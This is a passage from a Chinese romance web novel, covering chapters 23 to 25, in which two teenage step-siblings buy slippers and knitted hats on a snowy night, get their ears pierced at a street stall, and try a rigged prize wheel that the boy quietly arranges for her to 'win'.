温声的鼻尖冻出一团粉,没戴围巾帽,耳朵也有层薄薄的红,瞥到对面的少年仰起头还在哈气,白雾游丝,衬得他的鼻尖也有点红,身后那些摊位还亮着一长排苍白色的霓虹灯,虚虚的光影从四周照过来,两人的脸颊被映上一片像青筋搅入血液后鼓起的雾青色,在巨片粉色的冷夜下,有种很神奇的炀炀热气膨在两人中间。
心里悬了这么久这么久的巨石,终于有一条斜坡愿意对着她,让她安然滚下去。
温声没敢看他的眼睛,盯着他的项链又轻轻说了一声谢谢,这次没再提那两声哥哥,路泊汀总算满意地耸耸肩,下一瞬就抓着她的胳膊往路边的快闪店冲了过去。
妈的,脚都要冻断了。
记忆里那时候的冬天,一到冷风天或者湿雪天,夜晚的半空总是烟粉色的,那是一种褪色后带着灰调的粉,合着沙尘雾霾的混沌,世界有一瞬间是不真实的,但又让温声觉得很踏实。
那时候的快闪店大多是一些少女心泛滥的日韩杂货店,里面还放着温声没怎么听过的日韩电视剧的主题曲。
脖子莫名一凉,她啊的一声,扭头往后看。
路泊汀勾走她的围巾帽,手指戳进针织网格里,似笑非笑问:“我可以闻一下吗?”
你摘都摘了,还问什么?
温声连她自己都没意识到翻了一记小白眼,“买完拖鞋我们就回去吧,出来时间有点久了怕妈妈不放心。”
路泊汀给自己戴好帽子,围围巾时犹豫了,主要是围巾这种贴嘴的东西有点私人,他钓着眼梢盯着一圈上面茸茸的毛线,见她没在意,才慢腾腾地给自己围了起来。
又等了几秒钟,直到她转过身,他低下头。
嗅。
再嗅。
还真是奶粉的味道,不过气味很淡,有她身上特有的干净柔软,他光着脚快步走上前,用围巾帽边缘掉下的长耳朵轻甩到她耳侧,“你这旧帽子也该换了,这个留给我,我给你买新的。”
温声扁起嘴巴满脸不乐意:“不要,这帽子我戴很久了,都戴出感情了,我不想换。”
他啧了一声,耍无赖:“我拿走的东西还没有谁能再要回去。”
“你能不能讲点道理啊,这是我的东西,你现在就还我!”
路泊汀说顺了,一时没把住嘴:“连你都是我的,急个什么劲儿?”
温声:……
路泊汀:……
温声被口水呛到后又结巴起来了,小手指着他:“你……你!”
能不能好好说话啊!
路泊汀懒得找补,甩着另一侧帽子耳朵往自己嘴边扇,面不改色地从她眼前走过:“走咯。”
店里放着几年前悲情韩剧的音乐,温声听上瘾了,两个店员立马走过来,一人一眼分别往两人身上瞟,同时一愣。
小姑娘怀里抱着一大堆食品塑料袋,细白的颈肉空出一大片皮肤,隆冬天里看上去就冷嗖嗖的。
那男孩两手空空轻松自如,脖子和脸上还围着狼外婆一样的厚围巾。
……
谁才是哥,谁才是妹?
23. 碰瓷
一个留着魔卡小樱发型的店员推了推黑框眼镜,搡开旁边的人,眼神示意别发呆了赶紧接待,几步走上前,目带同情地接过面前小姑娘怀里的食品袋,迎着她走到休息区,“妹妹你先坐噢,我先给你倒杯水热热身,哎哟这大冷天的,你怎么没穿袜子?”
对门口的男生丝毫没搭理。
不是喜欢被人伺候吗?
那你歇着去吧。
袜子刚才沾了泥,温声进门前怕弄脏店里的白瓷地板,索性躲开路泊汀直接脱了,兜里还揣着湿袜子,她面不改色地问:“请问店里有没有男生穿的棉拖?什么款式的都可以,一次性的也行。”
另一个店员往还立在门口的少年身上瞟,他毫不知羞地蹭了两下冻得通红的脚,下巴埋进围巾里,眉眼压低又挑起一侧眉梢,笑意十分戏谑:“姐啊,别光看不动了,麻烦帮我找一双救命的拖鞋,真要冻麻了。”
“噢噢,好好,你先坐……哎不是,你先站着……不是不是!”店员想给自己一捶,又不是没见过长得好看的青少年,至于吗?至于吗??
她木着脸点头:“等着,我现在去找,什么款式的都行是吧?要多大码?”
温声一到冬天脸颊就会很红,这会儿在室内温度上来了,两颊变得很烫,她揉着脸蛋,看店员姐姐端着热水走过来:“快先喝两口,你们是自己出来的还是和家里人啊?大冬天的还光脚走路,咋想的啊你两?尤其门口的那位,真不怕冻出病来啊?”
别问了……
别问了……
温声无措地抓了抓头发,又尴尬地磨着两只拖鞋打架,路泊汀的脚后跟冻得通红,一眼看上去好像还冻肿了。
她小口抿着热水,想让店员姐姐给路泊汀也倒一杯,但又不好意思开口,只好抬头往对面的男装区看过去。
再买一件店里的东西,是不是就可以多要一杯热水?
在架子上从头翻到底的店员,愣是没找到一双合适的,冬季男士棉拖正好在上午理货的时候带去仓库了,现在店里一双库存都没有,她作了一下挣扎,淡定着脸拾起最边上的一双大红色塑料人字拖走过去,突然操起一口粤语混淆视线道:“畀你穿我哋广东仔特色人字拖,好啱你吖!”
周围气氛一静。
她露出八齿继续说:“如果离家唔系好远,呢可以嘛嘛哋,颜色虽然喜庆啲,但系衬细佬你个大好年华最好不过吖,最好不过!你穿上生活一定红红火火!”说完还自顾自哈哈干笑了两下。
结果气氛更凝重了,没一个人吭声。
站在温声跟前的另一个店员姐姐面露难言。
没有货你就直说没有呗,大冬天的让人家穿人字拖不是更尴尬吗?
温声虽然没太听懂粤语,但还是有最基本的审美的,那双人字拖颜色很像以前见过的下地干活的村农,在炎热的夏天身上套着的大红色背心,还是那种一看就有汗味的老旧大红色。
但是不管怎么样,拖鞋是双好拖鞋。
她忍住笑,咬着快喝完水的纸杯,挡在眼前偷偷瞟他。
穿啊,快穿啊。
路泊汀定定瞅了几眼那双回炉改造都不一定能治好的人字拖,本来其她几人都觉得他指定是要耍一下少爷脾气的,结果只是看到他好脾气的凑趣儿一笑,用粤语回道:“多谢,借你吉言。”
脚利落一蹬,套了进去。
然后往女生围帽区走去,“你们店有没有戴着能保暖不戴能当围巾还能当修饰的帽子?”
店员姐姐刚要呼出一秒气,听到他问的,一顿,一时没理解他的意思,“帽子不就是用来戴的吗?怎么当修饰?”
路泊汀指着自己戴的那副,“就这种,小姑娘戴的,有吗?”
“噢你说围巾帽啊?有的有的,等我找找!”
温声也问另一个店员:“你们店有没有那种颜色鲜艳的男生戴的围巾帽子?就是设计尽可能浮夸但是又很好看的,韩系日系的都可以。”
她不想欠任何人的,既然是他给她买,那她也要买一套送回去,但他身上的那套围巾帽回家后还是要拿回来的。
一副待会一定要好好挑一番的样子,全然忘了兜里只有二十三块钱的事实了。
“妹妹你想要什么颜色的?”
温声指了指站在门口的人,手很快放下,“就是他身上那种亮粉色,不想太荧光,也不能太暗,想要荔枝皮的那种低调又鲜艳的粉色。”
她说完突然发现自己提了好多要求,脸有点烧,声音小小的解释:“对不起啊……因为我觉得他穿那种颜色很好看……”
“没事没事!”那位打扮的很可爱但说话很御姐的店员姐姐脑子转的飞快,低着背在她耳边悄悄开问:“你两看上去不是很熟的样子,他是你哥哥吗?还是只是同学呢?”
温声支吾了好一阵,说哥哥?可是她很少叫他哥,平时有事找他,都是在他面前刻意咳嗽一下,这算两人之间相处的暗号了,自从回家后姚书文和路康也没规定一定要喊他哥,而且他自己平时也是直接喊她喂喂喂的。
“okok!明白!secret i know!”店员姐姐给了她一个我都懂的眼神示意,笑了笑,起身往围帽区跑,找了一会又隔着货架喊她:“稍等一下啊妹妹,我去搂上的货间看看有没有你要的颜色!”
一眨眼的时间,那两位店员就全没影了,店里静悄悄的,路泊汀踏着拖鞋从这头走到那头,又从那头折回这头,鞋底的啪嗒声很空很响。
温声心里一咯噔,这么大的店,任客人随便坐着走着,难道就不怕店里丢东西吗?
转了一圈目光找监控,终于在头顶的一排老年人穿的袄子里看到了夹着的摄像头,她这才放下心来。
只要别被当作小偷就好。
路泊汀翻着木篮子里五颜六色的棉袜,翻出一对,对着她的脚比了比,摇头,又扔了进去。
来来回回,多次不满意。
温声肚子叫了好几声,晚饭还没吃,又灌了一口冷气,肠胃有点难受,她只好趴在腿上用膝盖顶住肚子。
别再叫了……
也别被他发现了……
“脚伸出来。”
头顶冒出一声冷不丁的使唤。
温声沉浸在自己的世界里身体猛地一抖,她是易惊体质,拍着胸口瞪他:“你能不能别一惊一乍的?”
路泊汀蹲下,一侧膝盖抵着地板,地面不算干净,上面还有一层室内新装修过的黄色木头屑,温声想让他站起来,但是他已经顺手握住了她的脚腕。
心头怪怪的,她的脚趾又急忙蜷紧了。
他的手已经没有刚才在外面冻过的凉,手心有一层湿热,是那种被热水滑过的很干净的触觉。
“袜子破了今天难受么?”
这不是明知故问吗……
温声装作没听清,捧着纸杯一下一下地咬着杯口磨时间。
路泊汀不冷不热地抬头和她对了一眼,用裤子给她擦净脚底,她的脚很冰,有种透心的冷,他的手避开多余的皮肤,扯开刚才挑的袜子,就着她的脚腕慢慢给她往里套,“sorry,刚才出来前应该穿鞋的,今晚回去后让刘嫂给你煮点泡脚水,免得明儿个又感冒了。”
“你道什么歉呀?”
哪有人护了别人的面子还要反过来觉得抱歉的。
纸杯的味道其实不算好闻,但温声现在就是莫名有点不想抬头和他对上眼,哪怕一秒钟也不行,别过头往周围看,语气很随意地问:“你有穿过破袜子吗?有在别人面前露出来吗?会觉得尴尬吗?”
哪有那么多的吗吗吗。
路泊汀挑的袜子颜色非常骚气,是那种夜晚就算没有路灯也能闪瞎别人的荧光鸭黄色,上面还有两只手工缝上去的鸭头,听到她的话淡淡一笑:“不就是破袜子吗,你哥我以前还穿过别人尿过的裤子呢。”
“啊?”
温声傻眼了,光是想想那个场景就不行,她没忍住噫了一声,一时没控制好表情,嫌弃两字就那么水灵灵地出现在脸上。
别人尿过的裤子啊……
尿过的……
噫!
路泊汀低着头,从帽沿掉出的碎发落在眉宇,笑的蔫坏,又说:“当时周一早上穿着那条裤子去的学校,还是湿的,教导主任以为我故意的,罚我在周一例会的台上站了半小时。”
完了还被各路傻逼朋友拍照留了存。
后来有个全家移去奥地利的傻x,没经他同意把视频发到了外网,听说他还因为尿裤子这事在外面小火了一把。
那条裤子是和何让生打游戏赌输了,输的人得穿赢家尿过的裤子去学校,还必须搭配浅色裤子短款上衣。
只是何让生勉强有良心,在那条浅色裤子上倒了一瓶饮料。
“所以啊,该丢的人我都替你丢完了,你那些都不算事,以后大大方方怎么舒服怎么来,不用管别人怎么看。”
两个店员回来时,正好看到那个原以为不顶事的少年,正半跪在地上给小姑娘穿袜子。
两人姿势一高一低,侧脸都笑意盈盈,也不知道他说了什么,哄得小姑娘脸红耳赤的。
小小年纪就很会讨女孩子欢心,高手啊,这是高手!
那位说着广普的店员用胳膊撞了撞旁边的人,有些好奇地问:“本来以为这男生不太行,但现在你说这画面像不像美女与野兽?”
啥呀!人家就一白白净净的帅少年。
温声戴上新的围巾帽时还有点不适应,在镜子前转了两圈,又将露出的碎
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发戳了进去,但怎么看怎么觉得奇怪。
太新的东西她都不太习惯。
路泊汀护好戴在头上她原先的帽子,伸手指了指她,朝店员递眼色:“她好看吗?”
两位人精姐姐立马会意,偷偷一笑,凑近温声,两人都拍着手围着她转圈:“妹妹!你有点像我最近看的漫画Zero no Tsukaima里的露易丝大小姐!特别特别可爱!你这个粉帽子很搭你今天的裙子噢!”
另一个姐姐拉着她的手笑道:“我唔系好识讲嘢,但你真系好靓好得意啦!”
出店前,温声被夸的有点害羞,递出那个被咬的东扭西歪的纸杯,面露尴尬地询问她们:“能不能…再给我们……我续一杯水?”
刚说完,她就注意到路泊汀慢慢悠悠地往她身上扫过来一眼。
“妹妹你不早说啊!想喝就喝呗!这么冷的天,多喝热水对女孩子身体好!”
那姐姐细嗓子很清脆,带着大姐大的豪爽,像一只永远也不会困顿的黄莺。
她掏出一个新杯子接了满满登登一杯热水递过来,又说:“你一定要多喝热的,尤其是冬天,其他季节也要少喝冰的哦。”
“好好好,谢谢姐姐,我记住了!”温声乖乖的笑了笑,扭头喊路泊汀:“你过来!”
余光瞥到刚才给她递水的店员登时杵在原地一动不动地盯着她。
手一抖,水差点漾了出来。
路泊汀还在镜子前摆弄着她那个围巾帽,耳朵聋了一样故意没看她。
温声只好大声喊他:“路泊汀!你过来喝水!”又强撑着脸皮朝那位店员心虚地笑了笑,“不好意思啊姐姐,我也想让他喝点。”
两人回去时,路边有人正在摆打耳洞的地摊,这种街边就能打耳洞的地方不卫生也不安全,温声多看了两眼,打算继续往前走。
但是路泊汀停了下来,她有一次和刘嫂拐弯抹角说自己想打耳洞,七八岁的小姑娘,就喜欢耳朵上戴一些亮闪闪的小玩意儿。
他拽着她走上前,第一句话就给摊主问懵了:“你们这种消毒过吗?一次性的?我们如果感染病菌了算谁的?”
说完才想起还没礼貌的问声好,又慢悠悠加了一句‘你好’。
一副你虽然没欠我钱但我还是觉得你是个王八羔子的质问语气。
……
扯什么犊子呢,来砸场子的吧?
那摊主一脸不爽快,不耐地指着旁边板子上写到的提示语:医学生实习期工资低赚点生活费,工具均出自医疗包,都是一次性的消毒卫生产品,有打枪经验,请安心体验!
一人20块钱,两人35块。
“你们还太小了,算了吧。”摊主摆摆手,管它是不是到手的大生意,原则性很强的拒绝了。
温声抿着唇,抓住他的手摇了摇,“我们走吧。”
和钱过不去?
路泊汀切的一声哼笑,掏出钱包,本来想把那沓现金全甩出去的,但想想一会儿还得给她买别的,只好抽出几张红票子,就压在她面前桌上的手机下边,放钱的动作也很不屑。
温声注意到那手机下面压着几张零散的五元十元的现金,连一张二十的纸币都没有。
几张红票子着实碍眼,还让人红眼,更让摊主红脸。
温声心底直叹气,真是个傻大款。
但路泊汀对花钱这事看的很清,能用钱买到好心情,那就别多废话。
何况,是买到她的开心。
摊主尴尬地坐在塑料板凳上,翘着二郎腿,红票子在冷风天里飘啊飘,她的心也跟着紧了紧,讪笑着咬咬牙,眼睛在两人身上打转,冒着被他们的家长痛打一顿的风险,小声问:“谁先来?”
路泊汀本来就没想打耳洞,一来觉得麻烦,二来他最近走的不是这种风格,拒绝得很干脆:“给她打就成,我不需要。”
摊主看出这男生应该是两人里最有经济实力的人,于是挤挤眼怂恿道:“两个人一起打的话,再加50块钱,我们会安排一个豪华大奖抽奖活动,奖项最高可得一只智能全屏手机,最低也能抽到家居实物奖。”
怕他们不信,她又举起自己的手机:“看!这是我中的!”
温声的大眼睛顿时很亮,真的能中手机诶!
路泊汀本来闲闲靠在一旁等她们完事,听到这话,忽然就瞧了过去,似笑非笑的,然后往上懒懒地抓了一把桀骜不驯的卷毛,从小说话就够损够刻薄:“真能中的话,你不早就发财了,大冬天的还用抖着腿缩在这儿?逗逗你自己就行,逗逗我妹也就算了,别把我当傻子啊,您觉得呢?”完了还特调侃地用北方腔喊了一声姐姐。
温声没忍住噗嗤地笑了出来。
总有一天他绝对会被抽一顿。
24. 约定
天空从四面八方飘起了碎雪,像巨人轻轻捻碎手中的冰球,漫天雪渣从空中的漩涡坠下,风也分不清是从北还是从东面吹来,温声只知道她侧着的半张脸被湿雪和冷风吹得快要僵了。
右边耳垂被摊主姐姐用指腹小心搓揉,她听见她说:“小妹,你这个右边耳朵先不要打了,耳垂不知道是不是被虫子蛰了现在肿起来了,我怕今晚打了发炎。”
“啊?”
耳朵还被冰冰的手握着,温声感觉右耳朦胧地像丧失了一半听觉,听到她的话有些失落,她微微转了一下头,还是想商量一下,小声问:“真的不能打吗?我可以打其他地方的,耳骨也可以。”
“那不行,你还太小了,耳骨很疼而且容易伤到神经,我这工具没把握给你打好,要是打伤了,我这良心过不去的小妹妹。”
尤其身后还有一个紧紧盯着她的恶霸,她一想到刚才他说完那段话她无力反驳的情景,如果真的打坏了,这恶霸极有可能会掀了她的摊位。
“这样啊……”
尾音像咕噜沉底的水泡慢慢降了下去,温声垂下眼,两只鞋尖习惯性对着打架,不想为难她,弯唇点了点头,“那就不打了,不好意思啊姐姐,浪费你这么久时间。”
"哎呀别这么说,我还有点愧疚呢,我技术有限,真的不太敢给你打耳骨,对不起啊妹妹。"
温声磨着步子从雪地里慢慢滑到路泊汀面前,身后出现了一条弯曲潮湿的尾巴,她还是半耷着头,睫毛沾上雪屑,湿湿塌塌的甩在眼底,她什么表情都没有露出,她就站在那儿,身后车灯一亮,她像路边被灌丛藏起来的流浪猫崽。
路泊汀突然想掰扯她的下巴让她抬起头,想着,也做了,食指的指骨倏尔抵到她的下巴,顶起,对上她一时错愕的表情,眯眼问:“一只耳朵不也能打?谁告诉你必须得是两只耳朵同时打才行?”
如果不是他支着她的下巴,她可能还看不到头顶的半空急速掉下的雪花,思绪好像射到外太空,温声忘记反应了一样,下巴自然地撑进他手里,对着飞来的毫无规则的落雪发起了呆,眼睛被打湿流出透明薄膜一样的滑光,喃喃出声:“可是只打一只耳朵怪怪的你不觉得吗,别人不都是成双成双的打吗?”
damn!
今晚算是见鬼了,路泊汀盯着自己竟然发起抖的手指,她的下巴和脖子中间那处皮肤被围巾烘得很热,她看雪很认真,他抽也不是不抽也不是,只能僵着手陪她一起淋雪。
摊主姐姐捏着钱从敞棚想走过来,步子刚拾起,那少年很凑巧回头,冷冷淡淡瞥了她一眼,她抱着钱顿时一愣,立在原地不知道该怎么走了。
兄弟,你别这么看我啊!
我也不想不打的啊!
谁会和钱过不去?
靠!
“喂。”
温声闭了一下眼,又睁开,用气音轻声回应他:“嗯?”
“需要你记好一件事。”
清淡平平的口吻倒算不上命令,但他从没说过这样的话,温声回神,目光聚在他脸上,慢慢问:“……什么事?”
“你在12月21号晚上九点十分,在福莨路尾宝街回同巷,欠我一只耳朵,记住了吗?”
指骨无意识刮了一下她的颈肉,很细腻,他像被鱼线勾住喉咙,半晌后吐息,声线被迫压得很低,“能记住吗?”
温声心里一怪,刚要问他是什么意思,路泊汀抬着另一手扶起她的额头,抽开垫着她下巴的手指,扶稳后,两手同时放下,歪下头注视着她,又说:“今晚我和你一起打,一人一边,我打右边,你打左边,这样总不奇怪了吧,就这么说好了。”
说完潇洒转身朝身后打耳洞的敞棚走了过去。
她想拽住他,想说她是想打耳洞,而且很想打,其实也可以去专门的穿刺店或者是药店,不是一定非要在这样一个露天的、没有任何安全措施、还很寒冷的场合打。
可是。
下雪了。
温声仰头嘘出一口长长的白雾,迎面扑来湿纱一样的热意,这是冬天最滚烫的一个时刻,她可以胡作非为的理由,甚至,她不需要找任何理由,只是因为她想做。
跑过去追上他,路太滑,还差点滑了一跤扑到他身后,挨着他的身侧并排走,温声现在是真的很开心,颊边的笑比任何一场酒足饭饱还要满足,唇隙露出粉粉的牙龈,尖俏的下巴被笑意带出很憨的弧度,盯着前方,对他说道:“那今后你有什么需要我做的,只要我能做到,我一定会去做。”
看到摊主姐姐神色不明地瞅着他两,温声捂着嘴巴小小声又快速地说完:“12月21号晚上九点十分,福莨路尾宝街回同巷,一只耳朵。我记住了,我记性很好你放心吧。”
说完,左手的小拇指很快勾过他右手的小指,拇指对碰,几不可查的触觉,她又急忙缩回手揣进棉服口袋里,清清晰晰地说:“一言为定。”
还有……
谢谢你陪我。
路泊汀摘下帽子,细指推起右边耳际的碎发,轮廓利落流畅的侧脸和白皙的耳朵一齐露出,听到她的话哼唇一笑,似假非假地开起玩笑:“用不着这么正经,指不定哪天我心情很好,这只耳朵白送你了。”
摊主姐姐先是给路泊汀打的耳洞,这恶霸很难伺候,她都还没怎么动手呢,就见他躲着头避开她的手,扯着嗓子开喊:“能不能洗洗手啊姐,你刚才碰过塑料袋吧?还没消毒啊,麻烦给手消个毒。”
“你这是无菌手套么?”
“啧,你这枪和钳子能不能擦擦?”
“别打那么高,有点丑,打成低位吧。”
“我说——”
‘啪!’
一枪,消音。
闭嘴吧弟弟。
摊主姐姐绷紧黑脸,手一挥搡开他,朝身后的小姑娘招手,温温柔柔道:“妹妹,快来,该你了。”
温声一直都在乖乖的笑,换过去坐到她身前,路泊汀捂着半边耳朵突然沉默不语,她的目光在他脸上咕噜打转,问:“是不是不舒服啊?”
路泊汀耳朵很敏感,被陌生人蹭来蹭去半天本来有点烦,对方技术还很垃,很难不挂脸。
抬眼,不经意滑到她脸上,冷着的脸微微缓和,也不知道怎么着就凑到她跟前弯下了腰,其实中间距离有半米了,但温声还是无意识往后缩了缩。
本来没想逗的,他上下瞅着她这刻意的动作,似笑非笑地来了一句:“耳朵有点疼有点麻,还有点烧得慌。”吹口哨似的往她脸上吹气,盯着她眨巴不停的眼睛,低声询问,“该怎么办才好呢?”
温声不受控地看着他,从眼睛到嘴唇,唔了一声,被带着重复:“怎……怎么办才好呢……”
像被下了降头一样的重复。
我天哪!
站在身后的摊主姐姐眉头锁紧大为惊叹。
你装个什么东西啊你??
小绿茶。
她像搓苞谷一样粗暴地拆着新的工具袋,眼睛慢慢眯起他。
她倒要好好看看这惹人厌的恶霸能放什么非主流猪话
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出来。
结果……
路泊汀只是起衅一样睨向那摊主,扯着唇角轻笑了声,起身,没再接着说,温热的气息褪却。
“我在外边儿等你。”
温声想拉着他的手让他就站在她面前,但这念头下一秒就打消了,两手拢紧领口,若无其事地开口:“姐姐,我们稍微快点好不好?今晚出来时间有点久,担心家里人不放心。”
你那是担心他被冻着吧?
摊主姐姐撇撇嘴,上手开始干活:“你把口罩最好摘下来,不然勾到耳朵可能会发炎,等会有一点点疼,我先给你擦点药水,我这个技术真的还行,你千万别慌啊。”
几分钟后,温声打完耳洞没什么感觉,除了刚才出血有点疼外,没有路泊汀说的那种又疼又麻,她手巧地特意避开耳朵戴好帽子,转身朝她拜拜手:“耳洞对我来说意义不一样,谢谢你!祝你今后赚大钱!”
摊主是真的喜欢这小姑娘,耳朵肿了还带着血痂都没吭一声,有点愧疚,她拿着一个转盘走到她跟前,“小妹,这样吧,我也不收你们五十的抽奖费了,你可以免费转一次盘,奖品现场发哦。”
哇!
温声原地蹦了一下,立马折身跑出敞棚,蹦到路泊汀面前,“我有一次抽奖的机会,你要不要和我一起抽?”
摊主姐姐手里的转盘抖啊抖,你倒是先接走啊妹妹。
路泊汀正在吹口香糖泡泡,眸光玩味地瞅她:“得到的奖能分我一半?”
“当然啦!”
忽然想到什么,温声又踮起脚,用细细的手背软乎乎地触了触他的耳朵,还泛着红,有些热,她支着脑袋往他的耳朵吹凉气,脚跟撑得很酸,她吹了好几秒的凉气,最后支不住,只好啪嗒一声踩回地上,“走吧。”
——该怎么办才好呢?
那我就吹吹好了。
温声很自然地牵过他的手,重新走进棚里,这才记起还没收那个大圆盘,两手像小乞丐一样乖乖伸出:“谢谢姐姐,能说一下抽奖规则吗?”
“有五轮转盘机会,只要有一轮红针是指到数字0,且停留五秒钟以上,就可以认定中奖,至于是几等奖,需要抽签。”
感觉也不太难,温声扭头就安排:“我来转你抽签,好不好?”
等啊等,身旁的人没吭声。
那转盘的螺旋指针质量不均匀,转速又极灵活,中间的机械轴还打过油,停在最上方的位置,就算把空气抽空,也没法做到,更何况是停五秒钟以上。
很弱智的游戏规则。
但温声在学校还没学过基本的理科力学,只知道有五次机会,只要认真对待每次转盘,是有机会停到0这个数字的。
她眼巴巴地望着他,快答应呀……
“想要手机?”
“有点想……”
“为什么?随时可以给你买啊,抽不到也没关系。”
“不一样的,你知道这不一样。”温声又开始习惯性咬起嘴唇来,她有时候心情很燥的时候才会这样,“只是试试看,抽不到就算了,行吗?”
看得出她很抵触花家里的钱,路泊汀没再多问,只是又吹起泡泡朝她的脸边挤去,有点唐突的动作,吓得温声忙不迭躲着脑袋吹破了那个绿色泡泡。
糊了他一嘴。
路泊汀朝那位时不时竖起耳朵偷听的姐眨眨眼,神色戏谑,她还算聪明地比了一个明白ok的手势。
“如果中了手机,以后我给你发消息,你得及时回我,这才是共用,明白吗?”
25. 赎人
每轮转盘的旋转时间在十秒左右,两手抓住摆盘,用力拨出,温声趴着背牢牢盯紧那个看上去脏脏旧旧的转盘,指针从8、9划过,快要挨到0时,她屏住呼吸,眼睛都没舍得眨一下。
9——
啪嗒。
指针由于重力从最上方立马掉向最下方的数字6。
连旁边几个数字都没划过。
摊主姐姐讪讪地搓着鼻子,心虚地对上她的目光,点眉表示:一切皆有可能,不要放弃。
呵。
路泊汀站在抽签箱前冷笑,瞧着那个保质期是四年前的牛奶纸箱做成的盒子,外边还黏了一层糊手的塑料袋,也不知道是油是水,反正不干净,他都懒得伸进去往里掏。
转盘的支架旁边立着一个一米高的广告牌:走过路过不要错过,报名参加我们的电信抽奖活动,只要预付50块钱,大奖就能等你来拿,谁会是今晚最幸运的人?没错是你!你没看错,就是你!价值5999元的xx智能手机,就等你来拿!
……
今晚净遇到诈骗的。
但他还不得不上钩。
牲畜原来真是自己。
路泊汀给自己都逗笑了,摸出钱包开始数里面的现金,翻着找着,里里外外的夹层都扫了,还得时刻注意不能被她发现。
操啊,怎么连一千都没有。
正正巧,前面的小姑娘回头看过来,他手下快速一压,挡住了钱包。
这种偷偷摸摸欲盖弥彰的蠢样真给他烦死。
无语地低咳了一声,他眼梢挑着,姿态很拽的睨回去:转过去,让你回头了么。
干嘛突然凶她啊?
温声立马扁起嘴巴斜斜瞪他,觉得很蹊跷,回头前,又细扫了他一眼,手里开始第二轮的转盘。
指针这次从0停留了两秒不到,又掉到了最下面的6。
还有三次转盘机会。
摊主姐姐绕到转盘后座的插线区,已经做好随时叫停的准备了,就等路泊汀眼神示意了。
但这哥们好像后劲不太足。
能不能给个具体指示啊,到底帮不帮忙!
有点等不及,她打算按照内幕给温声安排三等奖了,三等奖是一只迪士尼毛绒包,不过是仿品,二手市场不到十块钱淘来的。
哎哎哎,奖品实在寒碜,她有点过意不去,又从袋子里翻啊翻,再送一个mini版MP3好啦!
路泊汀前后摸索完裤兜,连个多余的钢镚都没有,脑子转了不过三秒,步子随即往后撤,撤到前面两人听不到他说话才停下。
妈的还要找人救场子。
“喂,你这会在外边么……”
“都有谁?”
“我现在走不开啊,你到附近商场帮我搞个新手机,我就在百汇的巷子口……”
一顿。
对面也不知道说了什么,他刚才求人的姿势一懈,颈轻扬,黑眸微睐,不咸不淡地阴声一笑,“能不能先问问你自己配么,哥们自己都没钱了。”
啪,翻脸挂断。
??
电话那头站在服务台前打算付账但钱包也空了的纪昭死死盯着被冷漠挂断的手机,火气上来差点哽着没喘过气,手机往桌上一砸,语气暴躁地吼出来:“到底是哪个孙子先提的借钱,我操!”
路泊汀先后给几人都打了电话,一番功夫下来哥几个最近经济上都半死不活。
得。
他无聊地嘬着唇肉,只好给李叔拨了过去。
温声转到第三轮的时候,就开始接受这个转盘抽奖是不可能抽中的,指针也不知道是不是被刻意调过,反正每次滑到9的时候,就会自动绕过0掉到最下方。
还有两次机会,中奖几率很渺茫,她下意识就想扭过身,印象里他运气好像一直都很好,如果找他出点子,想赢也不是不可能。
但是他不让回头……
算了还是自己想办法吧。
温声主动和摊主姐姐打商量:“我觉得这个转盘设计好像不合理,你从侧面看它是倾斜的,指针是不可能悬在上面位置的……”她语气很委婉,又和她迂回了一下,“也可能是今天转盘位置没摆好,不一定是设计的问题,你可以和设计规则的人反映一下,之后稍微调整一下会好很多……”
天上没有掉馅饼的事,就是傻逼运营商故意设计的啊妹妹!
就算抽中一等奖,别说智能全屏手机了,可能比诺基亚那种按键机还要复古。
被架着下不来台的摊主姐姐两手抹了把脸,小声说:“要不咱们还是直接抽签吧,我就当你中奖了。”
不行!
温声埋进围巾吸着鼻子,摇头,“就按照规则来吧,我再试试看。”
她晃了晃那个转盘外围的玻璃箱,指针每次打圈滑动时,玻璃箱会被带动起震动,虽然浮动不大,但还是可以当阻力。
而且游戏规则也没提到不能晃箱子的啊!
温声搓了搓小手心,身体前压,两只脚往后抵到地板当助力,虚虚握住玻璃箱的两侧边沿,幸亏箱子不是很大,直径也就半米,她完全可以抱在身前。
“我可以了姐姐,开始吧。”
摊主姐姐一套抓耳挠腮下来,扭头不知道看了那位少爷多少次。
大爷,给点反应啊,只要你一声令下我现在就能拔线!
路泊汀挂完电话后,神情淡而无味地瞅着那个玻璃箱,嘴里还在闲闲嚼着口香糖,时不时吹个泡。
完全猜不透他的想法。
摊主姐姐只能无奈的叹气,再次将转盘插入滚轴。
第四次转盘时,温声稳住玻璃箱,指针转速很快,在转动到第四圈时开始减速,她这时动作没有那么用力了,指针转到最后一圈,马上要划过数字9时,手松开前有一个推力,玻璃箱被迫向上一抬,原本俯压的转盘变成仰起来的角度,指针从9划到0时由于角度变换的阻力,速度慢了一瞬,在玻璃箱由于回弹又变为倾下的角度时,重新掉到6。
温声特意记了时间,那个尖尖的红头指针从0的位置停了大概有3秒钟。
她就说可以吧!!
路泊汀盯着她刚才的操作,那指针确实有几秒钟是定住不动的。
其实她很聪明。
李叔就在附近商场的地下停车场,接到路泊汀的电话,本来要回家的人,转身又往电梯口快步走去。
温声重拾信心,只是还剩最后一次机会,她想叫身后的人站到她旁边一起转盘。
喊他过来应该没事吧?
毕竟今晚,他们算是熟了一点吧?
温声自认对他的了解开发还不到十分之一,他笑的时候不一定是真笑,冷脸的时候也不一定是真生气,不过有一点她今晚可以确定。
他并不讨厌她。
鼓足挣扎后,温声回过头喊他,面色佯装成一副兴致勃勃的样子:“还剩最后一轮了,你快过来看看我还有什么要注意的啊?”
怎么可能会不答应呢,她又没提什么很过分的要求。
结果下一秒劈头就是一盆冷水。
“自己搞。”
……
被拒绝的太干脆利落,温声脸上顿时红麻交错,小心脏拔起尖酸的刺痒,很尴尬,尤其摊主姐姐目光同情地看过来,咬咬牙,她骨子里的硬气立马上来了。
爱来不来,自己又不是不行!
她一定可以的!!
李叔一个大人,西装黑裤板正彬彬的,这会从巷子的入风口匆忙赶过来,刚才走得急,头发风吹成干草,先是注意到站在那一排地摊棚外的少年,往前又走,再看到伏着背趴到游戏转盘前凝神屏息的阿声,以为兄妹俩被人忽悠进了游戏赌场,他步子迈得更大了,手里还握着一个粉色的新手机盒。
路泊汀看到他后,视线移到他手里,两食指交叉点了点,李叔了然,手机背过身,缓步走过
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来站到他身后,低声问:“这是发生什么事了?夫人呢?”
路泊汀盯着那摊主姐姐又是一声哼笑,故意扭曲道:“遇到诈骗了。这会儿需要赎人。”
“赎……谁?”小姑娘这不是好好的吗?
路泊汀面不改色地吐字:“我。”
这辈子最后一次当牲畜了。
